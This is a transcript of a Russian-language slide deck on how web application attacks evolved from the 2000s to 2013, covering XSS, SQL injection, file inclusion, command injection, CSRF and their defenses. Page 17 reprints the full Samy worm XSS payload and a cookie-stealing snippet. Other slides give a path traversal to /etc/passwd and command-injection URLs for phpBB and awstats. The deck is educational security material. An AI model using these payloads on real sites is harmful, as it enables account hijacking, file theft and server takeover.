Эволюция атак на веб приложения (evolution of web applications attacks)

40
Эволюция атак на веб- приложения и веб-сервисы Безопасность веб-технологий

Upload: c3retc3

Post on 16-Jun-2015

8.380 views

Category:

Technology


3 download

DESCRIPTION

Обзор старых и новых методов эксплуатации ошибок в вебе, динамики их развития

TRANSCRIPT

Page 1: Эволюция атак на веб приложения (Evolution of web applications attacks)

Эволюция атак на веб-приложения и веб-сервисыБезопасность веб-технологий

Page 2: Эволюция атак на веб приложения (Evolution of web applications attacks)

2 О чем будем говорить

Что такое веб-приложение и веб-служба

Какие проблемы с безопасностью существуют

Как эти проблемы используются хакерами

Page 3: Эволюция атак на веб приложения (Evolution of web applications attacks)

3 О чем говорить не будем

Отличие злоумышленникам от хакера

Отличие угроз, уязвимостей и атак

Отличия различных типов средств защиты

Page 4: Эволюция атак на веб приложения (Evolution of web applications attacks)

4 Что есть веб- приложение/служба

Что есть веб?

Веб-приложение = клиент (браузер или его аналог) + веб-сервер (который может включать в себя веб-службы)

Веб-служба (SOA) = клиент (Requester) + интерфейс (Broker) + логика (Provider)

Где встречаются:

Периметр (интернет-сайты, динамический контент для клиентов, удаленный доступ)

Внутренний сегмент (серверы приложений, базы знаний и т. п.)

Кем употребляется: всеми, но веб-службы обычно в серьезных проектах

Зачем употребляется:

организация удаленного доступа (SSL VPN, электронная почта);

администрирование (сетевыми устройствами, ботами ;));

представление данных внешним пользователям (интернет-сайты, динамический контент для клиентов, базы знаний);

взаимодействие между серверами приложений.

Page 5: Эволюция атак на веб приложения (Evolution of web applications attacks)

5 Отличия

Веб-приложение:

«условно» стандартизовано

HTTP/HTTPS

Интернет и интранет

Подразумевает «живого» клиента

Веб-сервис

стандартизованные протоколы и сообщения

SOAP через HTTP/HTTPS, SMTP (редко)

Чаще – интранет

Подразумевает клиента-автомат

Будем считать, что:

Пару слов о RESTful API…

Page 6: Эволюция атак на веб приложения (Evolution of web applications attacks)

6 Пример архитектуры

Клиент (браузер, сценарий), веб-сервер.

Опционально – СУБД, балансировщики нагрузки, IDS/IPS/WAF, фронтенды, различные службы (веб-, каталогов и т.п.)

Множество нововведений 200* - 201*

Page 7: Эволюция атак на веб приложения (Evolution of web applications attacks)

7 Примеры средств защиты

«Низкие» уровни OSI, пакеты - межсетевой экран, роутер

Пакеты, сегменты и данные - IPS/IDS (функции часто присутствуют в фаерволе)

Данные - Web Application Firewall (WAF) – софт и железо.

Функции: фильтрация контента и прочее.

Примеры: mod_security (софт), Barracuda WAF (железо).

Встроенная функциональность платформ и языков (safe_mode, taint mode, etc.)

Надстройки(администраторам - Suhosin, разработчикам – AntiXSS и аналоги)

Page 8: Эволюция атак на веб приложения (Evolution of web applications attacks)

8 Выводы (веб-приложения)

Логика работы уходит к клиенту

Рост популярности в корпоративном секторе (предпочтение тонкому клиенту)

Становятся более защищенными (и сервер, и клиент)

Page 9: Эволюция атак на веб приложения (Evolution of web applications attacks)

9 Атаки на веб-приложения (общее)

Нарушение запланированной логики работы приложения (код, архитектура, дизайн, конфигурация, etc.)

Все внешние данные – опасны, если они работают с интерфейсами, которые могут влиять на работу системы

Факт: приемлемый интернет, дырявый интранет

Page 10: Эволюция атак на веб приложения (Evolution of web applications attacks)

10 Атаки на веб-приложения (200*)

Как проводятся: руки, отдельные эксплоиты, простейшие сканеры

Ограниченное число технологий: ASP .NET, Perl (CGI), PHP.

Массовые атаки (черви Blue Code, Code Red, etc.)

Массовая эксплуатация уязвимостей в реализации (BoF’ы и иже с ними)

Атак много – эксплуатируется (из общего числа) мало

Обилие рабочих эксплоитов

Рассмотрим самые распространенные уязвимости (статистика компаний упирается в своих специалистов или вообще в наличие репортов об уязвимостях)

Evgeny Tolmachev
OWASP 2007 A1.Cross-Site Scripting (XSS) A2.Injections Flaws A3.Malicious File ExecutionA4.Insecure Direct Object ReferenceA5.Cross Site Request Forgery (CSRF)A6.Information Leakage & Improper Error HandlingA7.Broken Authentication & Session Management
Page 11: Эволюция атак на веб приложения (Evolution of web applications attacks)

11 Атаки на веб-приложения (200*) – Переполнение буфера (BoF), теория Самая популярная уязвимость, в вебе также распространена

Причины:

память несовершенна - критичная временная информация (окружение), хранимое в областях памяти (стек, куча) может быть перезаписана;

кодим обработку данных, но не думаем над характеристиками

Как: отправляем данные, которые выполняются как нужные инструкции

Результат: от чтения значений переменных до выполнения произвольного кода

Page 12: Эволюция атак на веб приложения (Evolution of web applications attacks)

12 Атаки на веб-приложения (200*) – Переполнение буфера (BoF), практика

Часто встречались в различных расширениях и дополнениях к серверу. Например:

Apache OpenSSL heap overflow exploit:

get_client_master_key(), KEY_ARG MS IIS 5.0 ISAPI printer BoF:

http://#{buf}/NULL.printer?#{payload.encoded}

Page 13: Эволюция атак на веб приложения (Evolution of web applications attacks)

13 Атаки на веб-приложения (200*) – Загрузка произвольных файлов (Unrestricted File Upload), теория

Что это и где: загрузка непредусмотренных типов файлов; везде, где есть загрузка файлов (изображения, отладочная информация к тикетам, шаблоны и т.п.) – чаще в админках

Причины: отсутствие фильтрации параметров загрузки файла (имени, содержимого, пути загрузки, etc.)

Как: подмена MIME-type; внедрение кода в корректный файл; различные расширения (некорректные, длинные, множественные, пустые и т.п.); использование функций платформы; загрузка управляющих файлов (.htaccess, web.config, crossdomain.xml etc.); нуль-байт в имени (например, при указании пути сохранения)

Профит: от создания FTP-хранилища но захвата сервера

Page 14: Эволюция атак на веб приложения (Evolution of web applications attacks)

14 Атаки на веб-приложения (200*) – Загрузка произвольных файлов (Unrestricted File Upload), теория

Защита: избегать возможности загрузки ; использовать белые списки имен и расширений; фильтровать Content-type; принудительное приведение типов содержимого к

безопасному (text/plain); загружать в директории, недоступные хакеру.

Page 15: Эволюция атак на веб приложения (Evolution of web applications attacks)

15 Атаки на веб-приложения (200*) – Загрузка произвольных файлов (Unrestricted File Upload), практика

CVE-2006-3362: Unrestricted file upload vulnerability in connectors/php/connector.php in FCKeditor ... allows remote attackers to upload and execute arbitrary PHP code via a filename with a .php extension and a trailing extension that is allowed, such as .zip.

Пример с .htaccess:

Page 16: Эволюция атак на веб приложения (Evolution of web applications attacks)

16 Атаки на веб-приложения (200*) – XSS, теория Что это и где: атаки на клиентов путем подмены генерируемых веб-страниц

(внедрение любого кода, с которым может работать браузер); везде, где пользовательские данные выступают как код, обрабатываемый браузером (HTML содержимое, сценарии, Flash и т.п.). Часто встречаются в выводе системных сообщений различных компонентов (XML-парсеры, трассировка запросов СУБД, etc.)

Причины: отсутствие фильтрации данных, их использование для формирования представления ответа браузеру

Как: зависит от типа XSS, переход по ссылке клиентом

Профит: обход SOP, перехват критичных данных (куки, токены, пароли), слежка за пользователем, эксплуатация уязвимостей клиентской части, помощь в других атаках (CSRF, HTTP Response Splitting, etc.)

Защита: фильтрация ввода и вывода (встроенные средства – например, html_safe), использование библиотек (AntiXSS), заголовки X-XSS-Protection, безопасная установка куки (время, флаги)

Page 17: Эволюция атак на веб приложения (Evolution of web applications attacks)

17 Атаки на веб-приложения (200*) – XSS, практика

Примеры атак: “><script … new Image() … img.src = ‘’ + document.cookie

Samy is my hero (2005) : 1млн пользователей за 20 часов. Причина – специфика работы со стилями браузеров

<div id=mycode style="BACKGROUND: url('javascript:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>

Page 18: Эволюция атак на веб приложения (Evolution of web applications attacks)

18 Атаки на веб-приложения (200*) – Внедрение операторов SQL (SQL-injection), теория

Что это и где: внедрение своего кода в легальный SQL-запрос (по-сути, программу); везде, где есть запросы СУБД, но нет фильтрации передаваемых параметров запроса

Причины: небезопасное создание запросов (конкатенация или замена строк) с использованием пользовательских данных, отсутствие их фильтрации

Как: тестируем простейшую логику, определяем структуру начального запроса, корректно внедряем нужный код (зависит от типа запроса – обычно DML, от типа СУБД и ее версии)

Профит: от чтения полей (например, данные кредиток) и создания DoS до удаления БД или захвата сервера

Защита: использование безопасного API (LINQ, плейсхолдеры (prepared statements – сначала запрос, затем данные, обработка последовательная), надстройки для статического анализа (CAT.NET), приведение типов данных, отключение вывода ошибок, жесткая фильтрация прав, шифрование хранимых данных

Page 19: Эволюция атак на веб приложения (Evolution of web applications attacks)

19

Атаки на веб-приложения (200*) – Внедрение операторов SQL (SQL-injection), практика

RBS WorldPay – 9 млн. $ из 130 ATM

Согласно информации, представленной в материалах обвинения, лимиты снятия наличности по картам через ATM и при расчётах через POS-терминалы были увеличены по различным картам от 5 тыс. USD до 500 тыс. USD.

UPDATE Card SET ATMxxxxxLimit = 500000, POSxxxxxLimit = 500000, ATMxxxxxxxxx = 500000, ATMxxxxxLimit2 = 500000, POSxxxxxLimit2 = 500000, ATMxxxxxxxxx2 = 500000 WHERE xxxx PAN IN ('xxxxxxxxxxxx1627') Вполне себе используются для распространения

вредоносного ПО (особенно MSSQL)

; UPDATE [‘+@T+’] SET … [‘+@C+’] … <script src

Page 20: Эволюция атак на веб приложения (Evolution of web applications attacks)

20 Атаки на веб-приложения (200*) – Подключение произвольных файлов (*-file inclusion/reading), теория

Что это и где: возможность подключения сценария (произвольного или доступного) или чтения произвольного (в пределах прав) файла. Универсальна по отношению к платформам и ЯП. Встречается в любых функциях работы с локальной (../../../../) или удаленной (file:///) файловой системой

Причины: неверная обработка путей к файлам, выход за пределы исходного каталога, отсутствие фильтрации параметров подключения сценариев (схем, хостов и т.п.)

Как: указываем известное имя MIME-нейтрального файла (robots.txt, .htaccess), тестируем возможность чтения иных локальных файлов и отсечения ненужных частей (%00, …, ?, %23), подключения удаленных файлов

Профит: раскрытие исходного кода, получение учетных данных, выполнение произвольного кода (через использование схем php://input, \\, php://filter/convert.base64-encode/resource= 2013)

Защита: установка настроек, ограничивающих подключение файлов (allow_url_* = Off), проверка в коде и обработчиках веб-сервера по соответствию регулярному выражению (опасно) – структура, длина и т. п., приведение к нужной форме корректная настройка прав доступа к файлам, экранирование спец. символов

Page 21: Эволюция атак на веб приложения (Evolution of web applications attacks)

21 Атаки на веб-приложения (200*) – Подключение произвольных файлов (*-file inclusion/reading), практика

Классика:

<?php include (“includes/”.$_GET[‘file’].”.inc”; ?>

?file=../../../../../../../../../../etc/passwd%00

Читаем passwd (здесь – JSP):

а затем …

Page 22: Эволюция атак на веб приложения (Evolution of web applications attacks)

22 Атаки на веб-приложения (200*) – Внедрение команд/кода (Command/code injection), теория

Что это: интерпретация данных как кода, аргументов запуска утилит, небезопасное использование модификатора /e при работе с регулярками, функции eval(), exec(), system() и т.п.

Причины: программист злоупотребляет командными интерфейсами и мешает код и данные пользователя, отсутствие фильтрации пользовательского ввода

Как: тестить спец. символы - &&, |, ., ; (и какие угодно еще в зависимости от контекста)

Профит: зависит от имеющихся прав у приложения и иных компонентов сервера (вплоть до управления сервером от суперпользователя)

Защита: не вызывать опасные функции (интерпретаторы команд) , использовать API «обертки» и безопасные режимы работы платформ (taint mode в Perl и Ruby), фильтровать ввод по черным, белым спискам и регуляркам, экранировать потенциально опасные данные, минимизация привилегий приложения

Page 23: Эволюция атак на веб приложения (Evolution of web applications attacks)

23Атаки на веб-приложения (200*) – Внедрение команд/кода (Command/code injection), практика

PhpBB <= 2.0.15 (PHP):

preg_replace('#(\>(((?>([^><]+|(?R)))*)\<))#se',"@preg_replace('#\b(" . str_replace('\\','\\\\', $highlight_match) . ")\b#i','<span style=\"color:#" . $theme['fontcolor3'] ."\"><b>\\\\1</b></span>', '\\0')", '>' . $message . '<');

$action = "/viewtopic.php?t=$topic&highlight=%2527%252esystem(".$cmd." )%252e%2527";

OmniHTTPd 2.07 (Perl):if(open(CONFIG,"$searchdir$PROG.$SiteConfig.conf"))

/cgi-bin/awstats.pl?configdir=/usr/bin/id%20%3E%20/tmp/id%20|%20

Page 24: Эволюция атак на веб приложения (Evolution of web applications attacks)

24 Атаки на веб-приложения (200*) - иное

Малое количество защитных мер, непопулярность бест-практис и отсутствие внимания к безопасности в целом, малое количество грамотных специалистов в ИБ (как защита, так и атака), отсутствие стандартизации (в первую очередь, в браузерах), вся логика у сервера, WEB 2.0 еще не вырос:

брутфорс (идентификационные данные, расположение ресурсов при корявых правах доступа);

мало клиент сайда и много сервер-сайда, работало все подряд при малом количестве защитных мер (например, XST);

ошибки конфигураций (индексация директорий, некорректная обработка исключений, переключение методов запроса, ошибки с расширениями файлов и т. п.).

Page 25: Эволюция атак на веб приложения (Evolution of web applications attacks)

25 Атаки на веб-приложения (201*)

Многие – новая коммерческая обертка для старых Нарушение логики работы архитектуры взаимодействия Атак много – эксплуатируется много (рост квалификации, доступность информации и средств

эксплуатации) Более сложные (нужно уметь читать код – DOM XSS, действовать в жестких условиях (SQL blind),

хорошо понимать архитектуру приложения и сети (SSRF)) Комплексные (например, XSS+CSRF) Как проводятся: руки, плагины, сканеры, фреймворки, онлайн-сервисы. Необходимость обхода средств защиты (WAF, встроенные механизмы защиты в платформах):

смена представления (кодировки); множественные вхождения идентичных параметров (заголовки, переменные) регистр (часто) и длина (редко); изменение способов передачи (подделка методов, http->https) фрагментация данных (chunked); использование синонимов (функции, методы, например onerror->onclick)

Многие атаки канули в Лету (встречаются, но почти бесполезны для хакера – HRS, JSON hijacking, XST) Разнообразие платформ и языков

Рассмотрим самые популярные (и посмотрим на версию OWASP)

Page 26: Эволюция атак на веб приложения (Evolution of web applications attacks)

26 Распространенность проблем (рисков) по версии OWASP

Page 27: Эволюция атак на веб приложения (Evolution of web applications attacks)

27 Атаки на веб-приложения (201*) – Подделка межсайтовых запросов (CSRF), теория

Что это: возможность совершения действий в результате непреднамеренной (или преднамеренной, но неочевидной) инициации запроса к серверу от авторизованного пользователя

Причины: корень зла – отсутствие нормальных механизмов контроля параметров запроса клиента

Как: найти запрос, отправляемый любым способом и выполняющий нужное действие сразу же по результатам его обработки без применения «секретных» параметров запроса, сформировать страницу, инициирующую запрос любым доступным методом и вынудить атакуемого пользователя ее открыть

Профит: авы

Защита: anti-CSRF токены, на всякий случай – проверка Referer

Page 28: Эволюция атак на веб приложения (Evolution of web applications attacks)

28 Атаки на веб-приложения (201*) – Подделка межсайтовых запросов (CSRF), практика

Наличие инструкций в URI – самый очевидный, но не единственный показатель;

Существовали и ранее, но не было так популярно, так как успешная атака подразумевает знание параметров запроса (соц. сервисы – да, самописная админка – нет).

Page 29: Эволюция атак на веб приложения (Evolution of web applications attacks)

29 Атаки на веб-приложения (201*) - BoF

Все еще живы (и будут), но в крупных веб-серверах, модулях встречаются все реже (nginx и обработка chunked запросов в контексте ctx, CVE-2013-2028)

+ if (ctx->size < 0 || ctx->length < 0) {

+ goto invalid;

+ } Рост сложности эксплуатации (защитные меры)

Выгоднее не делать эксплоит, но искать уязвимость

Page 30: Эволюция атак на веб приложения (Evolution of web applications attacks)

30 Атаки на веб-приложения (201*) - XSS Новые механизмы защиты (IE X-XSS-Protection, FF NoScript,

Chrome Anti-XSS filter, Content Security Policy)

Активное использование давно существующих средств защиты (httpOnly, 2002) => необходимость их обхода (длинные заголовки->раскрытие куки, Java HTTP Api - getHeaderField)

Web 2.0, HTML 5/CSS 3.0, рост комплексных и DOM-based

AJAX и проблема Content-type

Server-side XSS

Page 31: Эволюция атак на веб приложения (Evolution of web applications attacks)

31 Атаки на веб-приложения (201*) - SQL

Скорее исключение, чем правило

Значительное снижение распространенности в результате наличия защитных механизмов компонентов веб-приложений и использования безопасных методов программирования

Ограничение возможностей злоумышленника по умолчанию в СУБД – блокировка доступа к различным объектам данных

Page 32: Эволюция атак на веб приложения (Evolution of web applications attacks)

32 Атаки на веб-приложения (201*) – через Ошибки авторизации (Missing Function Level Access Control)

Стали еще более популярны

В связи с необходимостью корректной настройки множества разнородных компонентов администраторы забывают про простейшие требования к безопасности

Частый случай – 9 из 10 административных сценариев/функций недоступны, но один – доступен. Осталось найти его имя и параметры.

Page 33: Эволюция атак на веб приложения (Evolution of web applications attacks)

33 Атаки на веб-приложения (201*) – Ошибки в логике (Logic flaws)

Были всегда, но популярность возрастает – как за счет усложнения эксплуатации других атак, так и за счет роста кол-ва и сложности взаимодействующих компонентов

Не могут быть найдены при помощи автоматизированных средств

Требуют ясного понимания принципов взаимодействия компонентов приложения

Примеры: использование функции дешифрования с одинаковыми параметрами для критичных и некритичных данных (доступных для просмотра пользователю), управление потоком выполнения на основании наличия/отсутствия переменной, безотносительно к ее значению

Page 34: Эволюция атак на веб приложения (Evolution of web applications attacks)

34 Атаки на веб-приложения (201*) – криптография

Требуют кропотливого труда и запаса времени и поэтому обычно ориентированы на массовость (SSL/TLS, ASP .NET)

Лидеры рейтинга техник веб-хакинга (WhiteHat Security) за последние 4 года

Чаще всего доходят до PoC’а, но требуют весьма специфических условий

Page 35: Эволюция атак на веб приложения (Evolution of web applications attacks)

35 Атаки на веб-приложения (201*) – модули, плагины, расширения, апплеты

Широкое разнообразие надстроек

Разнородные ошибки – от XSS до доступа к приватным методам защищенных классов

В большинстве случаев – необходимость обхода sandbox (но Java не такая , i.e. Rhino Script Engine)

Высокая рентабельность разработки эксплоитов => популярность

Page 36: Эволюция атак на веб приложения (Evolution of web applications attacks)

36 Атаки на веб-приложения (201*) – Отказ в обслуживании

Рост популярности не только классическими вариантами, но и через эксплуатацию ошибок в приложениях, Web-протоколах и их реализациях:

ресурсоемкие криптографические операции, e.g. OpenSSL renegotiation) (протокол/реализация)

ресурсоемкие операции СУБД (приложение);

Apache Killer и заголовок Range (протокол/реализация);

HTTP POST DoS – медленная отправка больших объемов данных (протокол)

Page 37: Эволюция атак на веб приложения (Evolution of web applications attacks)

37 Атаки на веб-приложения (201*) – иное

Некоторые атаки встречаются все реже (LFI/RFI почти умер)

Отдельные атаки никогда не умрут (небезопасная конфигурация, ошибки в назначении прав доступа)

«Социальные» атаки (ClickJacking, OpenRedirect, CSRF)

«Белые» хакеры предпочитают искать возможность проведения самых простых для обнаружения (но не всегда - для эксплуатации) атак: CSRF, XSS, ClickJacking, OpenRedirect и т.п.

Мобильные приложения и веб

Page 38: Эволюция атак на веб приложения (Evolution of web applications attacks)

38 Выводы (динамика развития атак на веб 2000-2013)

Акцент смещается к атакам на клиентов (почему? – коммерчески выгодно фирмам – меньше трудозатраты, проще искать, теоретически – сложнее отслеживать)

Атаки становятся более комплексными

Большая кучность, меньшая дальность: атаки становятся и более сложными и более легкими (широкое распространение доп. средств защиты – WAF’ы и т.п., а также наличие встроенных средств защиты в компонентах, рост числа компонентов у клиентов – атаки через Java, Flash, иные плагины etc.)

Page 39: Эволюция атак на веб приложения (Evolution of web applications attacks)

39 Дополнительно: какие еще атаки бывают

Другие инъекции (XML, XPath, LDAP, mail)

Атаки на сессии (replay, fixation, prediction)

Утечки информации

Проблемы «предсказуемости» (путей, сценариев, функций, значений параметров)

Прочее

Page 40: Эволюция атак на веб приложения (Evolution of web applications attacks)

40 Интересные материалы

Ресурсы:

http://www.slideshare.net/MattJohansen/top-10-web-hacks-2012

https://www.pentesterlab.com/web_for_pentester/web_for_pentester.pdf

https://www.owasp.org

http://www.slideshare.net/andrewpetukhov/starter-edition

Книги (последние издания):

Web Application Hacker/Defender Handbook;

24 смертных греха компьютерной безопасности;

The tangled Web.